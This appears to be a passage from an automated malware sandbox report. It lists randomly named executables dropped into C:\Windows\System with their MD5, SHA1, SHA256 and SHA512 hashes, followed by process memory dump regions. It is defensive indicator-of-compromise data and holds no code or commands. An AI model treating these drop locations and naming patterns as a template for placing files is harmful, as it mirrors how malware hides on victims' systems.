a6a53be47b2684fe104b8564f7b5780d2e8f5686

SHA256
9a84a21b148ced4dbd0dab1bcd62f788584a0ec95f280708d6b4dd3f3580115b

SHA512
4953985bdb4687da04d16e920ad0ddd41ce01da71d5fd395ddf6e3873eff5c43fbf1c616cd5b29c7b7cbe4e0ef058ad9a3ff7e4053ab45cd8b986133a375d470

Download Submit
C:\Windows\System\bAvpvjI.exe

Filesize
4.2MB

MD5
171b389e25dcebf949781670c9b112eb

SHA1
0c52c565e3ecb3267fb9d6e8c724df7f9ae674b3

SHA256
20f31aebcf429fdce5fcf9e11cbfa13bdeaf1386cc2789ea8e64771424da4130

SHA512
d9026e261fd560dbcd6909d62d345764ad2d3f95556b12e2d35f1c98d96c7c4825b1a69714317c7c1b5b8f8cce9319e3358537fdd0c6f126e854cd0a903673cc

Download Submit
C:\Windows\System\dCKyeNZ.exe

Filesize
4.2MB

MD5
4497421f186de438876ce8efde047516

SHA1
07a9a403993b4d6b0db845360edcd8cfff7f5619

SHA256
afbd2a5b08c5e8d2a623462e10e0b9cf75c3f79d4a761d352fa8444fafcd1060

SHA512
20d4bfeefd7d723015ace760e2efcd1dc4276643dc33e1b3f3191d09e418126406ab9dcf8a82df738d02d0885a1581f14c93b6d74e685bb38eb346465000a027

Download Submit
C:\Windows\System\ekBsFKy.exe

Filesize
4.2MB

MD5
d32c2bc03a0273d9943dc96a7fc8bc3b

SHA1
12b622aae031c4be5ad54f6b740ac928c933d4a5

SHA256
550b85f9b6050d7366f5e2a79418cb7b40af504e6ed214658dfdb2132358ca6c

SHA512
227594d237a884383d083a31754ac1b1614d159b446c129a7271c282334d52c6a6ad81c161b6143a92e5b1f1d1558efb599f041e5ab9db09bf1a822addd8911c

Download Submit
C:\Windows\System\hmPkVSF.exe

Filesize
4.2MB

MD5
b95125d14e46996e5713bb453823de5e

SHA1
4dcd41aee69ca2223bc03d2120f4e8808f83f169

SHA256
7b1f2fa69809d7e2f9aaa1452f02314cd354c1aa98bee510199510bd15a3c339

SHA512
22b1639ab203d35a890e8d313f38f2862b9fccfecaecaa6e37cc96a487dc104873cb1600be904396fc816785c0f5339252622cd4594e3de49ee28b1e68a9a210

Download Submit
C:\Windows\System\hvrYdkp.exe

Filesize
4.2MB

MD5
0f50c3b24160580a9dad8bbe6ad0c340

SHA1
c830af6c0557272e0b8c7af64c6a258e64f499df

SHA256
531e656f6fd8e6bd632485db02c15d041c1e6609e2b8a8a2a830e15facd9faf8

SHA512
70e1210255693ed26fd65e9673ecea2ba312443f569e59c6d5c09d61bd8eef44dda9ef57f6e17c58e4169ee068a16dd2b5046865147ac54a56bb1683a30d63f5

Download Submit
C:\Windows\System\jmndMFS.exe

Filesize
4.2MB

MD5
5e864ec6f1dfc27d539b2d0dd2a49131

SHA1
d179ce6d89a78ef87dc8fb9573328b312ae2efc4

SHA256
ef2db7c3e06e3a68844069e76f1afc73e62c3e012f2a6ef96f34d8e146e9a56a

SHA512
048b980aaf81374cd1b95fc0a9ed3d656854c63c042a52ccf18706e75b5e5c2129ea81353b084eb93cce1c6da25878c912ce9cfa02390c8f8c28d2851acf433b

Download Submit
C:\Windows\System\llBSIxe.exe

Filesize
4.2MB

MD5
a12ce6c2d8118a4d89dac71ae775aad6

SHA1
f94306cc13cb8c02a2089561ccd416575ecb7c00

SHA256
b244ec2bfe3a6f014505e1e4fbc81c6a7e96e803c9c2bfd120507cca65cf3dde

SHA512
1eeef066b7cce6199e6f0481272d6bfe91cccdd9553c65162641af41086ef0b6172a503aef695c874748e6fef40d237c251429f45967b1d6d5ed627c0aa9ffba

Download Submit
C:\Windows\System\lyfytxW.exe

Filesize
18B

MD5
f2ad509c044d266bf17c8f2c2a6db759

SHA1
b5993f0659ee4302b99eacef0f54230775f84f6d

SHA256
ee5ca439cceda52dcdf3a857a84c8cece27d40492662581bca4ffc66aefa905e

SHA512
5005b5b4776e84db8f449e22190f5c25ad4f2202e239bdddb2d20ffcbb26e50c7ff963df3c6337616a64b45ceca2bf8869726e4c97f38c7ea3cf4a48fa6fdd30

Download Submit
C:\Windows\System\qdaAbPM.exe

Filesize
4.2MB

MD5
ca10f63deebdf92d1c2ee7950fbd313e

SHA1
883ab2b5c20c418b0fd014e1323c0fb89fe4fb2e

SHA256
dbf47b79f25d6740f8e984027163f5c49e31a71bac59ddc21dc05d517dc7e426

SHA512
d53fc176cc59d4dd9dd989953bfa4bde692e747192ec4584e9cc4405f8c3f643b39f53e4e7f31aa2f5aba52efb89ae8feca3666b5890a988daeefc441fcc20c0

Download Submit
C:\Windows\System\qrrJtcW.exe

Filesize
4.2MB

MD5
cc30397f50a2d882a06dcdedacb61502

SHA1
6736cdb9c1b130f9cfaf63c9f76e11dd0622966f

SHA256
c58f0ed2bcf7d32dd81912c3ed624b57465796951fc3f65780dedb149e8feaa0

SHA512
acd68acfcfa91123d50804e3a9c6a7ceea82fcc9ed0d8cedaff4367ffe5b70831515b590dd61e52706c18eb2a3c08848e26f9464bb7f5c025f8d44b1c1c73e9a

Download Submit
C:\Windows\System\tDhnwOV.exe

Filesize
4.2MB

MD5
18d149a5d14e55d79e6353665f7b4388

SHA1
8e44fc54bd11d8055cdb9b600aaec4b0dd54c503

SHA256
9cc7e8792c09cadc7424fbb97f99bddcc305819a1c3200f3e547c23c447b01f4

SHA512
0b0d318c5331210d2024ba2c8526322908cd073f8719165495dab2c9ec16e13fa9245183fbdbe7ca2d9bc2addc55cde13e14a7840ed3f49f094b984b01a9fd01

Download Submit
C:\Windows\System\uTkBAuG.exe

Filesize
4.2MB

MD5
051a374916a32a86e473844d2b584a4f

SHA1
fcefb70bce4d837056e224e9637eff85dc1ef00a

SHA256
670495b78224b699ef27134bf315760acd5d2ae883ffe8823e5af9db6bee01b4

SHA512
ad61d4daa05f40ac6f4ad7af37d001f96fbf73b3ece2d2e380abe863f0c09c2df9356403152b901c102504e24a97a5f1ad40602e1ce8688ba27a372ae17465fe

Download Submit
C:\Windows\System\urNZLpF.exe

Filesize
4.2MB

MD5
e6eee9cb70c2205cbed0ae82b97d8ea1

SHA1
2076d648e93fc885e870d946a01ddd220f9c2557

SHA256
95ca3b12f6c8ae125fbbcf1d51405814b893b0399a76ae9beea922c806f5a48e

SHA512
b67ef3e706ef08e37e7a5b374281a6aeeb6d512f405359e719156ad81fd52f8d7f0d6af06ba89e8bc85435c5fffec9defb9dc537d662502f071f0d54993c7c7c

Download Submit
C:\Windows\System\uvOUzBZ.exe

Filesize
4.2MB

MD5
a24c400ea9f0a2b502409823f171d5ac

SHA1
800ecd3c31c2a17998ad5fd728f878d3bb6900a5

SHA256
e23ed2ef1a0ae95fab55c88967545ab113ccd2342754e2e60adfe35bd1709428

SHA512
006871fed1a9034aec1fb62a42d4e0646a9cdf8d0c0a4b46fe609008c559117e9374976ceabf67d28702009b2cd2dc523e474320d070c50d9dd2da830927ea37

Download Submit
C:\Windows\System\vSQKhDL.exe

Filesize
4.2MB

MD5
d3a47dc2537dea72828d8b604a5229f4

SHA1
080441a7c0b4c1e764ef89f0e7b686b08ccf5058

SHA256
5ab93fe586bb8f310adff429d124b97aef1e643f9afd92419c54350d964d1a12

SHA512
0f69ef1599e2da6a00d856b0593ee435cd13ba036bccc08cb47b145c357fbeb02ac45d720c482c62c594ad51efea7bdf69eae89cb737aad862f2fe4538701c42

Download Submit
C:\Windows\System\zRywyHk.exe

Filesize
4.2MB

MD5
f6fdb68a88febbbc2cd644ee05cba725

SHA1
6240f6db44f15ed02d79abb0fe37de29280140e2

SHA256
9b1fbf61b8312ca19d96e684743fee5ca6fdd274f60385f2292a502c4e183b4f

SHA512
1bd3e7a163cead1b5a719d72a391eacd44b79af72249a0de31e76979955e09b933a0b5474a95163479ef4e856405d7b6408e686afe1a416736c45d6e183dbbd8

Download Submit
C:\Windows\System\zVWNtkS.exe

Filesize
4.2MB

MD5
788fb63d1a061dabdf428a071de03ffe

SHA1
454e890107a56ae295cfccd7693b5b1627bcac79

SHA256
a3ef7a2e68ccc3f34c0ccf5fb2fb603f5a458484b9455ee4f297b1d885d4411e

SHA512
64b68db58f609792848b1d62ae6ba2814601c04192e811a891fec9d565aad7f0029e069e43e23abc824ad6994bd0d66b43886ed10ce37e09f3ab6937454c68c4

Download Submit
memory/884-2540-0x00007FF6B7E70000-0x00007FF6B8266000-memory.dmp

Filesize
4.0MB

Download
memory/884-90-0x00007FF6B7E70000-0x00007FF6B8266000-memory.dmp

Filesize
4.0MB

Download
memory/1020-2570-0x00007FF7293E0000-0x00007FF7297D6000-memory.dmp

Filesize
4.0MB

Download
memory/1020-93-0x00007FF7293E0000-0x00007FF7297D6000-memory.dmp

Filesize
4.0MB

Download
memory/1020-1671-0x00007FF7293E0000-0x00007FF7297D6000-memory.dmp

Filesize
4.0MB

Download
memory/1076-107-0x00007FF76F840000-0x00007FF76FC36000-memory.dmp

Filesize
4.0MB

Download
memory/1360-180-0x00007FF67A1D0000-0x00007FF67A5C6000-memory.dmp

Filesize
4.0MB

Download
memory/1496-2565-0x00007FF723D90000-0x00007FF724186000-memory.dmp

Filesize
4.0MB

Download
memory/1496-92-0x00007FF723D90000-0x00007FF724186000-memory.dmp

Filesize
4.0MB

Download
memory/1648-13-0x00007FF698490000-0x00007FF698886000-memory.dmp

Filesize
4.0MB

Download
memory/1648-716-0x00007FF698490000-0x00007FF698886000-memory.dmp

Filesize
4.0MB

Download
memory/1896-119-0x00007FF70C010000-0x00007FF70C406000-memory.dmp

Filesize
4.0MB

Download
memory/2272-37-0x00007FF60F9C0000-0x00007FF60FDB6000-memory.dmp

Filesize
4.0MB

Download
memory/2292-83-0x00007FF6AA160000-0x00007FF6AA556000-memory.dmp

Filesize
4.0MB

Download
memory/2292-2546-0x00007FF6AA160000-0x00007FF6AA556000-memory.dmp

Filesize
4.0MB

Download
memory/2404-194-0x00007FF730D00000-0x00007FF7310F6000-memory.dmp

Filesize
4.0MB

Download
memory/2552-129-0x00007FF689F30000-0x00007FF68A326000-memory.dmp

Filesize
4.0MB

Download
memory/2568-191-0x00007FF6D8200000-0x00007FF6D85F6000-memory.dmp

Filesize
4.0MB

Download
memory/2808-88-0x00007FF6A9770000-0x00007FF6A9B66000-memory.dmp

Filesize
4.0MB

Download
memory/2940-2542-0x00007FF744820000-0x00007FF744C16000-memory.dmp

Filesize
4.0MB

Download
memory/2940-91-0x00007FF744820000-0x00007FF744C16000-memory.dmp

Filesize
4.0MB

Download
memory/3328-87-0x00007FF7FBFE0000-0x00007FF7FC3D6000-memory.dmp

Filesize
4.0MB

Download
memory/3336-25-0x00000209EC6E0000-0x00000209EC6F0000-memory.dmp

Filesize
64KB

Download
memory/3336-65-0x00000209EC6E0000-0x00000209EC6F0000-memory.dmp

Filesize
64KB

Download
memory/3336-213-0x00000209EDCE0000-0x00000209EE486000-memory.dmp

Filesize
7.6MB

Download
memory/3336-99-0x00000209ED0A0000-0x00000209ED0C2000-memory.dmp

Filesize
136KB

Download
memory/3336-1664-0x00007FF9D55F3000-0x00007FF9D55F5000-memory.dmp

Filesize
8KB

Download
memory/3336-89-0x00007FF9D55F3000-0x00007FF9D55F5000-memory.dmp

Filesize
8KB

Download
memory/3468-150-0x00007FF6522B0000-0x00007FF6526A6000-memory.dmp

Filesize
4.0MB

Download
memory/4052-78-0x00007FF7529C0000-0x00007FF752DB6000-memory.dmp

Filesize
4.0MB

Download
memory/4196-186-0x00007FF6685B0000-0x00007FF6689A6000-memory.dmp

Filesize
4.0MB

Download
memory/4268-1172-0x00007FF626C80000-0x00007FF627076000-memory.dmp

Filesize
4.0MB

Download
memory/4268-24-0x00007FF626C80000-0x00007FF627076000-memory.dmp

Filesize
4.0MB

Download
memory/4332-139-0x00007FF620C40000-0x00007FF621036000-memory.dmp

Filesize
4.0MB

Download
memory/4540-59-0x00007FF7DB330000-0x00007FF7DB726000-memory.dmp

Filesize
4.0MB

Download
memory/4768-86-0x00007FF6BEA80000-0x00007FF6BEE76000-memory.dmp

Filesize
4.0MB

Download
memory/4780-64-0x00007FF7C4330000-0x00007FF7C4726000-memory.dmp

Filesize
4.0MB

Download
memory/4924-116-0x00007FF6A60B0000-0x00007FF6A64A6000-memory.dmp

Filesize
4.0MB

Download
memory/4956-709-0x00007FF744BC0000-0x00007FF744FB6000-memory.dmp

Filesize
4.0MB

Download
memory/4956-0-0x00007FF744BC0000-0x00007FF744FB6000-memory.dmp

Filesize
4.0MB

Download
memory/4956-1-0x000002A289C40000-0x000002A289C50000-memory.dmp

Filesize
64KB

Download